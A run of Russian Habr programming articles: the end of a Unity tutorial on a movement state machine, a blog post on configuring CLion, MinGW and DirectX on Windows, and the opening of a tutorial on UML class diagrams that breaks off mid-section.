* Внутри `HandleInput` переменные `crouch` и `jump` хранят ввод игрока для приседания и прыжка. Если в сцене Main игрок нажимает на клавишу *Shift* приседанию присваивается true. Аналогично этому игрок может использовать клавишу *Space* для `jump` (прыжка).
* В `LogicUpdate` мы проверяем переменные `crouch` и `jump` типа `bool`. Если `crouch` равна true, то `movementSM.CurrentState` меняется на `character.ducking`. Если `jump` равно true, то состояние меняется на `character.jumping`.
Сохраните и соберите проект, после чего нажмите на *Play*. Вы сможете перемещаться по сцене при помощи клавиш *W*, *A*, *S* и *D*. Если вы попробуете нажать на *Shift* или *Space*, то возникнет unexpected behavior, потому что соответствующие состояния ещё не реализованы.
Попробуйте перемещаться под объектами-столами. Вы увидите, что из-за высоты коллайдера персонажа это невозможно. Чтобы персонаж мог это делать, нужно добавить поведение приседания.
### Забираемся под стол
Откройте скрипт *Ducking.cs*. Обратите внимание, что `Ducking` тоже наследуется от класса `Grounded` по тем же причинам, что и у `Standing`. Добавьте следующие `override`-методы и сохраните скрипт:
```
public override void Enter()
{
base.Enter();
character.SetAnimationBool(character.crouchParam, true);
speed = character.CrouchSpeed;
rotationSpeed = character.CrouchRotationSpeed;
character.ColliderSize = character.CrouchColliderHeight;
belowCeiling = false;
}
public override void Exit()
{
base.Exit();
character.SetAnimationBool(character.crouchParam, false);
character.ColliderSize = character.NormalColliderHeight;
}
public override void HandleInput()
{
base.HandleInput();
crouchHeld = Input.GetButton("Fire3");
}
public override void LogicUpdate()
{
base.LogicUpdate();
if (!(crouchHeld || belowCeiling))
{
stateMachine.ChangeState(character.standing);
}
}
public override void PhysicsUpdate()
{
base.PhysicsUpdate();
belowCeiling = character.CheckCollisionOverlap(character.transform.position +
Vector3.up * character.NormalColliderHeight);
}
```
* Внутри `Enter` параметру, вызывающему переключение анимации приседания, присваивается значение crouch, что включает анимацию приседания. Свойствам `character.CrouchSpeed` и `character.CrouchRotationSpeed` присваиваются значения `speed` и `rotation`, которые возвращают перемещение и угловую скорость персонажа при *движении в приседе*.
Далее `character.CrouchColliderHeight` задаёт размер коллайдера персонажа, который возвращает нужную высоту коллайдера при приседании. В конце `belowCeiling` сбрасывается на false.
* Внутри `Exit` параметру анимации приседания присваивается false. Это отключает анимацию приседания. Затем задаётся обычная высота коллайдера, возвращаемая `character.NormalColliderHeight`.
* Внутри `HandleInput` переменной `crouchHeld` задаётся значение ввода игрока. В сцене *Main* удерживание *Shift* присваивает `crouchHeld` значение true.
* Внутри `PhysicsUpdate` переменной `belowCeiling` присваивается значение при помощи передачи точки в формате `Vector3` с головой игрового объекта персонажа методу `CheckCollisionOverlap`. Если рядом с этой точкой есть коллизия, то это означает, что персонаж находится под каким-то потолком.
* Внутри `LogicUpdate` проверяется, имеют ли `crouchHeld` или `belowCeiling` значение true. Если ни одна из них не равна true, то `movementSM.CurrentState` меняется на `character.standing`.
Соберите проект и нажмите на *Play*. Теперь вы сможете перемещаться по сцене. Если вы нажмёте *Shift*, персонаж присядет и вы сможете перемещаться в приседе.
Также вы сможете забираться под платформы. Если отпустить *Shift*, находясь под платформами, то персонаж всё равно будет в приседе, пока не покинет своё укрытие.
### Взмываем вверх!
Откройте *Jumping.cs*. Вы увидите метод под названием `Jump`. Не беспокойтесь о том, как он работает; достаточно понять, что он используется для того, чтобы персонаж мог прыгать с учётом физики и анимации.
Теперь добавьте обычные `override`-методы и сохраните скрипт
```
public override void Enter()
{
base.Enter();
SoundManager.Instance.PlaySound(SoundManager.Instance.jumpSounds);
grounded = false;
Jump();
}
public override void LogicUpdate()
{
base.LogicUpdate();
if (grounded)
{
character.TriggerAnimation(landParam);
SoundManager.Instance.PlaySound(SoundManager.Instance.landing);
stateMachine.ChangeState(character.standing);
}
}
public override void PhysicsUpdate()
{
base.PhysicsUpdate();
grounded = character.CheckCollisionOverlap(character.transform.position);
}
```
* Внутри `Enter` синглтон `SoundManager` воспроизводит звук прыжка. Затем `grounded` сбрасывается на значение по умолчанию. В конце вызывается `Jump`.
* Внутри `PhysicsUpdate` точка `Vector3` рядом с ногами персонажа отправляется в `CheckCollisionOverlap`, и это значит, что когда персонаж находится на земле, `grounded` будет присвоено значение true.
* В `LogicUpdate`, если `grounded` равно true, мы вызываем `TriggerAnimation` для включения анимации приземления, воспроизводится звук приземления, а `movementSM.CurrentState` изменяется на `character.standing`.
Итак, на этом мы завершили полную реализацию FSM перемещения при помощи *шаблона «Состояние»*. Соберите проект и запустите его. Нажимайте *Space*, чтобы персонаж прыгал.
Куда двигаться дальше?
----------------------
В [материалах проекта](https://koenig-media.raywenderlich.com/uploads/2019/11/State-Machine-for-Unity.zip) есть заготовка проекта и готовый проект.
Несмотря на свою полезность, машины состояний имеют ограничения. С некоторыми из этих ограничений позволяют справиться Concurrent State Machines и автоматы с магазинной памятью (Pushdown Automaton). Прочитать о них можно в книге Роберта Нистрома [*Game Programming Patterns*](https://gameprogrammingpatterns.com/state.html).
Кроме того, тему можно изучить глубже, исследовав [*деревья поведений*](https://en.wikipedia.org/wiki/Behavior_tree_(artificial_intelligence,_robotics_and_control)), используемые для создания более сложных внутриигровых сущностей. | https://habr.com/ru/post/484176/ | null | ru | null |
# Хаброкаст «Заход Солнца Вручную» #1. Пытаемся настроить среду для разработки игрушки под Windows
Только что пришла в голову мысль — нужно найти какое-то хобби. Иначе с катушек можно съехать. А поскольку я весьма бесполезный человек, ничего кроме как тыкать кнопки не умеющий, хобби будет такое: не реже раза в неделю устраивать стрим с написанием игрушки. После стрима запись публикуется на Хабре. (Можно попробовать постить на Хабр прям лайв, но это сильно сложней).
Написание очень feedback driven — если кому-то нужны пояснения, то я могу пояснить как смогу. Если есть предложения — постараюсь учитывать. На хабре читаются все комментарии до последнего, в других местах — как получится.
Первый блин комом вот здесь:
Под катом — тезисное описание для тех, кому справедливо влом тратить на просмотр полтора часа.
Направляющие идеи
=================
Первый интересный аспект в том, что хочется написать всё без хрюмворков. Как обычный джавист делает? Возникла проблема — фигачишь в зависимости хрюмворк, и он тебе решает вопрос. Цена этому — из-за подобного свинства проект превращается в свинарник, и никто не может в точности определить, что же происходит. Хочется попробовать написать без этой свинофермы, чистенько и аккуратно. Возможно, это невозможно — пожалуйста, сообщите в комментариях.
Второй аспет. Я всю жизнь кодил на Java и PHP. Был опыт разработки игрушек, но только серверной части с ответом по сети, и ни разу — настоящего десктопного приложения на C++. Поэтому, по сути это будет шоу уродов — человек не разбирающийся в вопросе попробует как-то своими словами описать, что происходит.
Нет, никакого практического значения всё это не имеет. Это чтобы не съехать с катушек, и чтобы мотивировать взрослых бородатых дяденек тоже взяться за клавиатуру и запилить какую-нибудь игрушку.
Рутина наносит удар в пятак
===========================
К сожалению, программирование никогда не начинается с легкого и приятного развлечения. Вначале происходит период болезненного копания в настройках среды и IDE.
Первое что я понял относительно Visual Studio — это отличный инструмент для профессионала, но на новичка он производит очень фрустрирующее впечатление. После Eclipse и IntelliJ IDEA всё, знаете ли, какое-то неестественное, сиреневенький бесперспективняк с переподвыподвертом. Дело не в коем случае не в VS, дело во мне :-)
И с плагинами постоянно какая-то беда.
Поэтому волевым решением отказываемся от Вижуалки и смотрим, что ещё есть. Vim, Emacs и прочие редакторы, не понимающие структуры исходника — отправляются лесом. Первая же попытка использовать Eclipse провалилась, поэтому инструментом был [выбран CLion](https://www.jetbrains.com/clion/nextversion/).
Проблема с CLion в том, что он не всё ещё не умеет полноценно работать с компилятором Visual Studio. Если попробовать сделать что-нибудь в нём, то будет вот такое:
Конечно, тут бы в тред набежать гошникам и начать кричать надрывным голосом, что отладочных принтов хватит всех. Но мы их слушать, конечно не станем.
Поэтому нужно то, что CLion умеет хорошо, и это MinGW.
Выбираем MinGW
==============
Есть большая [таблица версий](http://mingw-w64.org/doku.php/download).
И по ней видно, что имеет смысл смотреть только на Cygwin и Msys2. Msys2 какой-то странноватый — у него мало коммитеров, пакеты лежат на [личном гитхабе](https://github.com/Alexpux/MINGW-packages.git) одного из авторов. С другой стороны, он действительно клёвый — там свежий компилятор и куча пакетов. Это имеет решающее значение.
Установка заключается в прокликивании next-next-ok, и потом многократном выполнении команды обновления (`pacman -Syu`, как в Арчлинуксе) с перезапуском терминала Msys2, пока он не скажет, что всё получилось в лучшем виде.
Если просто установить Msys2 по инструкции и попробовать добавить его в CLion, не будет найдено ни одного тулчейна. Его нужно поставить самостоятельно, это делается командой `pacman -S mingw-w64-x86_64-toolchain`.
После установки этого пакета, CLion запускает helloworld (который генерится автоматически при создании нового проекта) и в нём работает отладка.
Проверка возможности #1: простое окно
=====================================
Во-первых, хочется понять, запустится ли вообще хоть какое-то десктопное приложение. Всё-таки, это не родной PlatformSDK, а MinGW.
Для этого подойдет [незамысловатая прога](https://gist.github.com/olegchir/a95fd16137255471c549798e8220c92d), рисующая окно с помощью винапи.
И да, с MinGW она запускается. А вот с тулчейном Visual Studio оно сыпет какими-то ошибками, но с ними разбираться я не стал, потому что — а зачем, если у нас уже работает целевая платформа?
Проверка возможности #2: треугольник с шейдером
===============================================
Понятно, что для написания чего-то жизнеспособного недостаточно выводить пиксели на окне. Это тормозно, неудобно, нет никаких модных штучек. Короче, нам нужен DirectX.
Ключевой вопрос про CLion+MinGW — именно это. Если они не смогут юзать DirectX, то отправляются в помойку.
Для тестирования был нагуглен [очень короткий туториал](http://www.directxtutorial.com/Lesson.aspx?lessonid=11-4-5), состоящий всего из двух файлов: в одном весь код на C++, в другом — шейдер. Задача в том, чтобы запинать его работать.
Кроме однофайловости этот туториал очень хорош тем, что там на пальцах рассказывается, как он работает. Возможно, эту статью стоит перевсти на Хабр (напишите в комментариях).
Готовый результат лежит [вот здесь GitHub](https://github.com/holy-shit/clion-directx-example). Здесь опишу, какие проблемы встретились.
Мелочи и мусор
==============
Много L-строк стали просто строками. Можно поудалять буковки L. Во многих местах нужно заменить NULL на 0 чтобы не падало.
Несмотря на то, что использовался `set(CMAKE_CXX_STANDARD 17)`, этом плане ничего интересного не произошло вообще, ничего не развалилось.
Заголовки и либы
================
Дело, конечно, в том, что этот пример — очень древний, написанный во времена задолго до Windows 10. DirectX теперь не находится в отдельном DirectX SDK как во времена нашей неоднозначной молодости, а засунут прямо в Windows SDK.
Поэтому первое что нужно сделать — запустить [установщик Visual Studio](https://visualstudio.microsoft.com/vs/community/) и проверить, что установлена свежая версия Windows SDK.
Второй вопрос — в заголовках.
```
#include
#include
#include
```
Их больше нет, нужно что-то вроде:
```
#include
#include
#include
#include
```
И потом в CMakeLists добавить поиск до них в конец файла:
```
set(LIBS d3d9 d3d11 d3dcompiler_43)
target_link_libraries(src ${LIBS})
```
Отсутствующие API
=================
Раньше была вот [такая структура](https://docs.microsoft.com/en-us/windows/desktop/direct3d9/d3dxcolor):
```
typedef struct D3DXCOLOR {
FLOAT r;
FLOAT g;
FLOAT b;
FLOAT a;
} D3DXCOLOR, *LPD3DXCOLOR;
```
И больше её нет. Впрочем, во всех местах, где она реально была нужна, получилось заменить `D3DXCOLOR(0.0f, 0.2f, 0.4f, 1.0f)` на `{0.0f, 0.2f, 0.4f, 1.0f}`.
Проблема интересней оказалась с `D3DX11CompileFromFile`. Её больше нет!
В статье [Living without D3DX](https://blogs.msdn.microsoft.com/chuckw/2013/08/20/living-without-d3dx/) её предложили заменить на `D3DCompileFromFile`.
Но вот проблемка, `D3DCompileFromFile` у нас тоже почему-то недоступно!
Небольшое расследование показало, что документация Microsoft предлагает воспользоваться очень новой версией API:
А MinGW отправляет нас в прошлое на несколько лет:
Впрочем, в 32-битной версии есть более новый заголовок, но как его присобачить к 64-битам я не разобрался. 32 бита на, наверное, на фиг не сдались.
С одной стороны, это очень печально, потому что предвещает гемор в отношениях с MinGW в дальнейшем. Интересно, кто мантейнеры всех этих дел.
С другой стороны, если взять отсутствующую `D3DCompile` и присутствующую `D3DCompileFromFile`:
```
HRESULT WINAPI D3DCompileFromFile(
in LPCWSTR pFileName,
in_opt const D3D_SHADER_MACRO pDefines,
in_opt ID3DInclude pInclude,
in LPCSTR pEntrypoint,
in LPCSTR pTarget,
in UINT Flags1,
in UINT Flags2,
out ID3DBlob ppCode,
out_opt ID3DBlob ppErrorMsgs
);
```
```
HRESULT WINAPI D3DCompile(
in LPCVOID pSrcData,
in SIZE_T SrcDataSize,
in_opt LPCSTR pSourceName,
in_opt const D3D_SHADER_MACRO pDefines,
in_opt ID3DInclude pInclude,
in_opt LPCSTR pEntrypoint,
in LPCSTR pTarget,
in UINT Flags1,
in UINT Flags2,
out ID3DBlob ppCode,
out_opt ID3DBlob ppErrorMsgs
);
```
то окажется, что там разница только в следующем:
```
in LPCWSTR pFileName,
```
против
```
in LPCVOID pSrcData,
in SIZE_T SrcDataSize,
in_opt LPCSTR pSourceName,
```
К сожалению, я не знаю C++, поэтому наговнокодил как умел: просто добавил вычитывание файла и редирект этих данных в `D3DCompile`.
```
void WINAPI D3DCompileFromFile(const char *filename,
const D3D_SHADER_MACRO *defines, ID3DInclude *include, const char *entrypoint,
const char *target, UINT sflags, UINT eflags, ID3DBlob **shader, ID3DBlob **error_messages) {
SIZE_T data_size;
char* buffer;
ifstream infile;
infile.open(filename, ios::binary);
infile.seekg(0, ios::end);
data_size = infile.tellg();
infile.seekg(0, ios::beg);
buffer = new char[data_size];
infile.read(buffer, data_size);
infile.close();
D3DCompile(buffer, data_size,filename,
defines, include,entrypoint,
target, sflags, eflags, shader, error_messages);
}
```
Единственное важное различие между почившим в тьме веков `D3DX11CompileFromFile` и нашим самопальным `D3DCompileFromFile` — в отсутствии в новом API `ID3DX11ThreadPump` в качестве параметра. Это что-то для асинхонности, возможно какой-то тредпул? Впрочем, в туториале он и не использовался, там на его месте стоит 0.
Итоги
=====
Связка DirectX + MinGW + Msys2 + CLion является достаточно жизнеспособной, чтобы запилить простую игру. Есть возможность не только использовать базовое винапи, но и рисовать, и даже с шейдерами.
В общем-то, всё. Напоминаю, что нехитрый результат [лежит на GitHub](https://github.com/holy-shit/clion-directx-example).
Пожалуйста, помните, что это не мой код, а модифицированный текст [из туториала](http://www.directxtutorial.com/Lesson.aspx?lessonid=11-4-5) — впрочем я надеюсь, что такое его использование является честным и целевым. Но тем не менее, именно поэтому там нет никой [нормальной лицензии](https://opensource.org/licenses/UPL).
Фидбек
======
Пожалуйста, пишите в комментариях ваши замечания и предложения. Ради этого всё и делается, послушать что вы скажете. Особенно если вы — матёрый игропрограммист, прямо зубр, бизон, и не помещаешься в тред по размерам. Обязательно найдо зайти и что-нибудь написать.
Напоминаю, что я, как и любой дргой блоггер, питаюсь лайками и дизайками. Чем яростней вы будете наяривать стрелку вверх под этим постом, тем более вероятно выйдет следующий пост и стрим.
```
олег родился в интернете
в почтенной геймерской семье
питался лайками и в гугол
за двойки ставили его
```
© Александр Раевский | https://habr.com/ru/post/424971/ | null | ru | null |
# Использование диаграммы классов UML при проектировании и документировании программного обеспечения
Предисловие
-----------
Парадигма объектно-ориентированного программирования (далее просто ООП) повсеместно используется при создании современного программного обеспечения. Модель объектов, заложенная в данную парадигму, способна достаточно точно описывать свойства и возможности сущностей реального мира. Разумеется, эти объекты не существуют обособленно друг от друга, они взаимодействуют друг с другом для достижения какой-то глобальной цели разрабатываемой системы.
Стандартная библиотека некоторого языка программирования – замечательный сборник полезных утилит. Однако разнообразие решаемых программистами задач так велико, что одной только стандартной библиотекой ограничиться не получится. Программисту часто приходится самому создавать необходимый ему набор функциональности. Это можно сделать, создав пакет функций или набор классов.
Создание собственных классов при разработке программы добавляет в проект новый уровень абстракции, который позволяет определить некоторый функционал системы и работать в дальнейшем только с ним.
Чем выше уровень абстракции, которым пользуется программист, тем выше уровень его продуктивности при разработке приложения.
> «Хорошая абстракция превращает практически неподъемную задачу в две, решить которые вполне по силам. Первая из этих задач состоит в определении и реализации абстракции, а вторая - в использовании этих абстракций для решения текущей проблемы.»
>
> Э.С. Таненбаум
>
>
Использование ООП может существенно упросить жизнь программисту. Это достигается за счёт сокрытия особенностей внутренней реализации классов. Программисту остаётся лишь пользоваться её удобствами. Кажется, что ООП – панацея от всех проблем. Однако на практике, если не иметь чёткого представления о том, какие классы нужно реализовать и как ими потом пользоваться, в результате может получиться очень запутанная система, которая начнёт порождать спагетти-коду (от англ. “spaghetti code”), который будет лишь мешаться, когда вы захотите добавить что-то новое в систему.
Чтобы избежать большинства проблем, возникающих при использовании ООП, нужно:
1. Иметь некоторый опыт создания программ и использования классов.
2. Строить структурные диаграммы классов.
Первое придёт со временем, а со вторым я могу вас познакомить прямо сейчас. Сегодня мы разберём диаграмму классов UML.
---
Содержание
----------
1. [Назначение диаграммы классов](#ClassDiagramPurpose)
2. [Постановка задачи и её анализ](#ProblemFormulation)
3. [Класс](#Class)
1. [Статический класс](#StaticClass)
2. [Абстрактный класс](#AbstractClass)
4. [Поля класса](#Field)
1. [Уровень видимости](#Visibility)
2. [Идентификатор](#Identificator)
3. [Тип поля](#Type)
4. [Кратность](#Multiplicity)
5. [Методы класса](#Method)
6. [Классы, отвечающие за графику](#GraphicClasses)
7. [Виды отношений](#Relationships)
1. [Отношение ассоциации](#AssociationRelationship)
2. [Отношение зависимости](#DependencyRelationship)
3. [Отношение наследования](#InheritanceRelationship)
4. [Отношение агрегации](#AggregationRelationship)
5. [Отношение композиции](#CompositionRelationship)
Назначение диаграммы классов
----------------------------
*Диаграмма классов* (от англ. "class diagram") предназначена для представления внутренней структуры программы в виде классов и связей между ними.
Все сущности реального мира, с которыми собирается работать программист, должны быть представлены объектами классов в программе. При этом у каждого класса должно быть только одно назначение и уникально осмысленное имя, которое будет связано с этой целью.
Взаимосвязь диаграммы классов с другими диаграммамиДиаграмма классов UML тесно связана с другими диаграммами, поскольку в них используются экземпляры классов (объекты), описанные на диаграмме классов. Например, на диаграмме кооперации (англ. "cooperation diagram") показывается структурные связи при взаимодействии объектов, а на диаграмме последовательности (англ. "sequence diagram") изображается последовательность обмена сообщений между объектами.
Постановка задачи и её анализ
-----------------------------
Представьте, что мы хотим разработать программу для построения графиков функций. Давайте кратко изобразим основной функционал такой программы на [диаграмме вариантов использования UML](https://habr.com/ru/post/566218/):
Зачем нужен вариант использования "построить график функции"В своей программе я сделал ставку на то, что пользователь захочет сначала задать все функции, с которыми он захочет работать, а только после этого строить те, которые ему нужны в данный момент.
Разумеется, мы хотим, чтобы наше приложение обладало графическим интерфейсом. На данном этапе разумно будет разбить задачу построения диаграммы на две части:
1. Построить диаграмму для классов, ответственных за работу с пользовательскими математическими функциями.
2. Построить диаграмму для классов, ответственных за корректное отображение графических элементов в программе.
Зачем плодить множество диаграмм, когда можно сделать одну большую?Диаграмма классов строится прежде всего для внесения ясности в будущий процесс разработки системы. На первый взгляд, удобно всё классы построить на одной диаграмме, однако это может вызвать путаницу у читателей диаграммы, так как деталей будет слишком много.
Более правильным подходом станет выделение групп классов под различные задачи. Для каждой такой группы можно будет строить свою диаграмму. Чем меньше программисту нужно знать деталей для работы с какой-то частью программы, тем быстрее он сможет решить задачу.
Впоследствии можно построить упрощённую диаграмму для отображения взаимосвязей между классами из разных диаграмм.
Классы, ответственные за работу с математическими функциями будут предоставлять возможность создавать объекты математических функций и подсчитывать таблицу значений.
Давайте определимся с тем, как мы собираемся работать с функциями. Во-первых, договоримся, что мы будем работать не напрямую с функциями, а только с их телами.
Именно поэтому в этой статье мы будем оперировать термином *математическое выражение*, а не термином *функция*.
Компьютер не может оперировать напрямую математическими выражениями, записанными в строке так же просто, как и обычными числами, записанными в коде программы.
Поэтому мы создадим набор классов, которые будут «знать», как работать с такими данными. Упрощённая схема создания математических выражений представлена на рисунке ниже.
Для того чтобы мы могли работать с телом функции, записанным в виде строки, необходимо разбить эту строку на элементарные части. Их чаще всего называют *лексемами* (от англ. "lexeme") или *токенами* (от англ. "token"). В данной статье мы будем использовать термин *токен*. Получить список токенов математического выражения можно, используя [*алгоритм сортировочной станции*](https://ru.wikipedia.org/wiki/%D0%90%D0%BB%D0%B3%D0%BE%D1%80%D0%B8%D1%82%D0%BC_%D1%81%D0%BE%D1%80%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%BE%D1%87%D0%BD%D0%BE%D0%B9_%D1%81%D1%82%D0%B0%D0%BD%D1%86%D0%B8%D0%B8).
Затем из полученного списка токенов мы будем строить [постфиксную запись](https://ru.wikipedia.org/wiki/%D0%9E%D0%B1%D1%80%D0%B0%D1%82%D0%BD%D0%B0%D1%8F_%D0%BF%D0%BE%D0%BB%D1%8C%D1%81%D0%BA%D0%B0%D1%8F_%D0%B7%D0%B0%D0%BF%D0%B8%D1%81%D1%8C) выражения.
На этом этапе математическое выражение мы будем считать обработанным и готовым к работе. Чтобы вычислить значение этого выражения, мы будем подставлять вместе переменной какое-либо действительное значение.
Для удобства работы с нашим приложением нужно добавить возможность определения и использования именованных констант. Например, использование распространённых математических констант, таких как π = 3,141592.. или e = 2,71828.. будет очень удобным для пользователей.
В заключение, хочется отметить, что каждое серьёзной программе необходим механизм обработки ошибок. Наша программа не будет исключением. Пользовательские выражения будут проверяться на корректность математической записи.
Соглашение об именовании объектов и классовНесмотря на то, что данную статью я пишу на русском языке, на диаграммах мы всё будем описывать на английском языке. Для этого есть две причины:
1. Когда вы начнёте реализовывать классы, описанные на диаграмме, в коде, вы будете давать им название на английском языке. Разные программисты по-разному могут перевести одно и то же слово. Например, класс "МатематическоеВыражение" некоторые могут перевести как "MathExpression", другие, исходя из специфика задачи, как "Function" или просто как "Expression". Таким образом, когда вы начнёте сопоставлять написанные классы с элементами на диаграмме, вы можете запутаться.
2. Технический английский язык обычно более ёмок, чем русский. Это позволит сократить объём текста на диаграмме.
Давайте подведём итог и выясним, какие классы нам будут нужны для решения поставленной задачи:
* Класс для хранения математического выражения. Назовём его *MathExpression*.
* Класс для разбиения строкового представления выражения на список токенов - *MathParser*.
* Класс для построения постфиксной формы выражения из списка токенов - *MathFormConverter*.
* Класс для работы с именованными константами - *MathConstantManager*.
* Класс для проверки корректности пользовательского математического выражения - *MathChecker*.
* Класс для подсчёта таблицы значений математического выражения - *MathCalculator*.
Почему все имена классов имеют префикс Math?\*Когда я разрабатывал это приложения, я решил, что некоторый функционал системы можно повторно использовать в других проектах. Следовательно, было бы полезно выделить эти функции в отдельную библиотеку. Чтобы подчеркнуть, что этот набор функций взаимосвязан, я и добавил в их имена префикс *Math.*
Более правильным решением было бы вынести все эти классы в пространство имён *Math* и убрать префикс из имён. Однако продолжим работать с нашим Legacy-кодом.
Класс
-----
*Класс* - элемент диаграммы, обозначающий множество объектов, обладающих одинаковой внутренней структурой, поведением и отношениями с объектами других классов. Изображается класс на диаграмме в виде прямоугольника, разделённого на три секции:
1. Имя класса
2. Список полей класса
3. Список методов класса
Выбор терминологииВ различной технической литературе вы можете встретить альтернативные названия для этих терминов:
1. Поля (от англ. “field”) <=> свойства (от англ. “properties”), атрибуты (от англ. “attributes”)
2. Методы (от англ. “method”) <=> функции (от англ. “functions”), операции (от англ. “operations”)
В данной статье мы будем использовать термины *поле* для внутренних переменных класса и *метод* для функций, которые являются частью класса. Тем не менее, имейте в виду, что в разных источниках могут встречаться другие термины, обозначающие то же самое.
Обязательным элементом класса является только его название.
> Оранжевым цветом мы будем выделять обязательные части элементов.
>
>
Пример класса "Покупатель". У покупателя есть баланс (balance) денег и список желаемого (wishList). Пользователь может пополнять баланс на некоторую сумму денег (topUpBalance()), может совершать покупки (makePurchase()) и может добавлять товары в список желаемого (appendToWishList()). Также мы можем проверить, подтверждена ли электронная почта пользователя.Обычно в качестве имени класса выбирается существительное в единственном числе. Разумеется, это имя должно быть уникальным в пределах диаграммы. Если имя класса состоит из нескольких слов, мы ,по практическим соображениям, будем записывать их слитно в верблюжьем стиле (от англ. "CamelCase").
Рекомендация по именованию классовОпределение класса схоже с определением актёра в том смысле, что оба эти элемента обозначают **группу** объектов и пользователей соответственно. В связи с этим оба эти элемента должны именоваться существительным в единственном числе.
Настало время изобразить наши классы на диаграмме. Пока что давайте изобразим только имена этих классов.
Первая версия диаграмма классов, которые отвечают за работу
с математическими выражениями.Пока что эта диаграмма не даёт никакого понимания того, как будет устроена наша система, однако к концу статьи диаграмма значительно преобразится.
### Статический класс
Класс, в котором есть только статические поля и методы и на основе которого не создаются объекты, называется статическим классом. Чтобы показать на диаграмме, что наш класс статический, нужно добавить к имени модификатор «utility».
> Формально, такие модификаторы называется *стереотипами*. Стереотип – именованный набор свойств. В данном случае, стереотип «utility» означает, что объекты указанного класса не создаются.
>
> По сути, название модификатора «utility» связано с тем, статический класс предоставляет набор утилит, которые могут быть использованы любыми классами, которые в них нуждаются.
>
>
В нашей системе классы *MathParser*, *MathFormConverter*, *MathConstantManager* являются статическими, потому что они представляют собой «сборник» полезных функций, которые мы объединили в класс. Давайте изобразим это на нашей диаграмме.
2 версия диаграммы### Абстрактный класс
Класс, который является базовым для других классов и объекты которого мы не собираемся создавать, называют *абстрактным.* Абстрактный класс на диаграмме изображается так же, как и обычной класс, однако имя такого класса должно быть записано курсивом.
> В UML принято соглашение, согласно которому все элементы, относящиеся к абстрактному классу, должны быть помечены курсивом (жирный шрифт при этом сохраняется).
>
>
Поля класса
-----------
Вернёмся к нашему примеру с классом Customer. Обратите внимание на центральную секцию.
Давайте рассмотрим первую строчку. Что вообще означает запись "- balance: Integer"? Сейчас будем разбираться.
В общем случае, каждое поле класса должно описываться следующим образом:
Общий вид поля класса
> Нами в данной статье не будет рассмотрено использование свойств в полях класса, поскольку это достаточно специфичная тема.
>
>
### Уровень видимости
*Уровень видимости* (от англ. "visibility") - свойство поля, которое показывает, из какой части программы можно обратиться к данному полю.
В нашем случае, поле balance - закрытоеОбычно может принимать следующие значения:
* "+" - открытое поле. Аналог *public* в языках программирования. Означает, что к полю можно обратиться из любой части программы.
* "-" - закрытое поле. Аналог *private* в языках программирования. Означает, что получить доступ к полю можно только внутри класса.
* "#" - защищённое поле. Аналог *protected* в языках программирования. Означает, что получить доступ к полю можно внутри класса и внутри производных классов.
Может показаться, что как-то неудобно для каждого поля указывать его уровень видимости. Почему бы не группировать поля по уровню видимости? Например, именно такой подход используется в языке программирования C++. Давайте попробуем напрямую использовать ключевые слова *public*, *private* и *protected*.
Несмотря на удобство такого подхода, мы будем указывать уровень видимости для каждого элемента.
А что будет, если не указывать уровень видимости вовсе?\*В некоторых языках программирования, к примеру, в C++ или C# отсутствие уровня видимости поля или метода по умолчанию означает, что такой элемент считается закрытым. Тем не менее, обычно уровень видимости указывается для каждого поля, чтобы код становился более читабельным.
В UML, если уровень видимости не указан, то никакого значения по умолчанию не подразумевается. Таким образом, в данной статье мы всегда будем указывать уровень видимости для наших элементов.
### Идентификатор
*Идентификатор* (от англ. "identificator")- название поля. Является обязательным элементом для описания переменной на диаграмме классов, поскольку однозначно её определяет (все идентификаторы на диаграммах уникальны).
### Тип поля
*Тип поля* (англ. "type of field") показывает, какой тип имеет данное поле в нашей программе. На ранней стадии проектирования можно и не уточнять, какой тип имеет то или иное поле.
Типы полей обычно привязаны к какому-то конкретному языку программирования, например. Кроме того, в качестве типа поля может быть использован пользовательский тип данных.
### Кратность
*Кратность* (от англ. "multiplicity") – интервал, определяющий диапазон количества элементов в массиве. Если для поля указана кратность, то его следует считать массивом. Количество элементов в таком массиве и будет определяться указанным интервалом.
Список желаемого - это массив, который может либо быть пустым, либо может хранить неограниченное число товаров.Пояснение к использованию кратности
> *Multiplicity* is a definition of an inclusive interval of non-negative integers to specify the allowable number of instances of described element.
>
> Кратность определяет отрезок с неотрицательными целочисленными границами, который показывает допустимое количество объектов определённого типа.
>
>
> “Кратность, если она присутствует, определяет данный атрибут как массив (определенной или неопределенной длины).”
>
> Учебно-методическое пособие по дисциплине «Анализ и проектирование на UML». ИТМО.
>
>
Тем не менее, использование кратность уходит на второй план, поскольку в современных системах используют более сложные коллекции - списки, очереди, деревья.
Для кратности указывают одно или два значения:
* [m..n] - интервал от m до n включительно (m <= n). Такая запись будет означать, что в коллекции может храниться от m до n значений включительно.
* [n] – интервал, который можно рассматривать, как сокращённую запись [0..n].
Может случиться так, что мы захотим показать, что в массиве может храниться неограниченное количество элементов. В таком случае верхняя граница *n* заменяется символом \*.
Примеры интервалов:
* [1] - ровно один объект. То же самое, что и интервал [1..1]
* [0..1] - ноль или один объект.
* [0..\*] - ноль или неограниченное количество объектов. Часто такой интервал обозначают просто как [\*].
* [1..\*] - один или неограниченное количество объектов.
> Наиболее часто используют кратность [0..\*] или [1..\*]. Можно заметить, что динамические структуры данных вообще очень удобны в использовании. В нашей статье мы откажемся от использования кратности, а будем использовать такие коллекции: связный список (List) и ассоциативный массив (Map).
>
>
С использованием кратности мы ещё столкнёмся, когда будем знакомиться с различными типами отношений. Теперь, когда мы немного познакомились с правилами описания полей классов, давайте опишем некоторые поля для классов нашего проекта.
3 версия диаграммы
> Чтобы отличать статические элементы класса от обычных, статические поля и методы будут подчёркиваться.
>
>
Назначение каждого поля построенных классовДиаграмма классов UML хорошо показывает отношения между классами, однако она не может многого сказать о назначении полей и методов в классах. Если вы хотите лучше понять, для чего нужно каждое поле на диаграмме, прочтите об этом ниже.
Класс *MathExpression*:
* initial – строковое математическое выражение, записанное в [инфиксной форме](https://ru.wikipedia.org/wiki/%D0%98%D0%BD%D1%84%D0%B8%D0%BA%D1%81%D0%BD%D0%B0%D1%8F_%D0%B7%D0%B0%D0%BF%D0%B8%D1%81%D1%8C).
* postfix – строковое математическое выражение, записанное в постфиксной форме.
* parameters – параметры в математическом выражении. Всего параметров четыре: a, b, c, d. У каждого параметра могут быть произвольные действительные значения. Значения параметров хранятся в ассоциативном массиве.
Класс *MathParser*:
* delimiters - список разделителей. С помощью этих разделителей удаётся простым образом разбить входное выражение на список токенов.
Класс *MathFormConverter*:
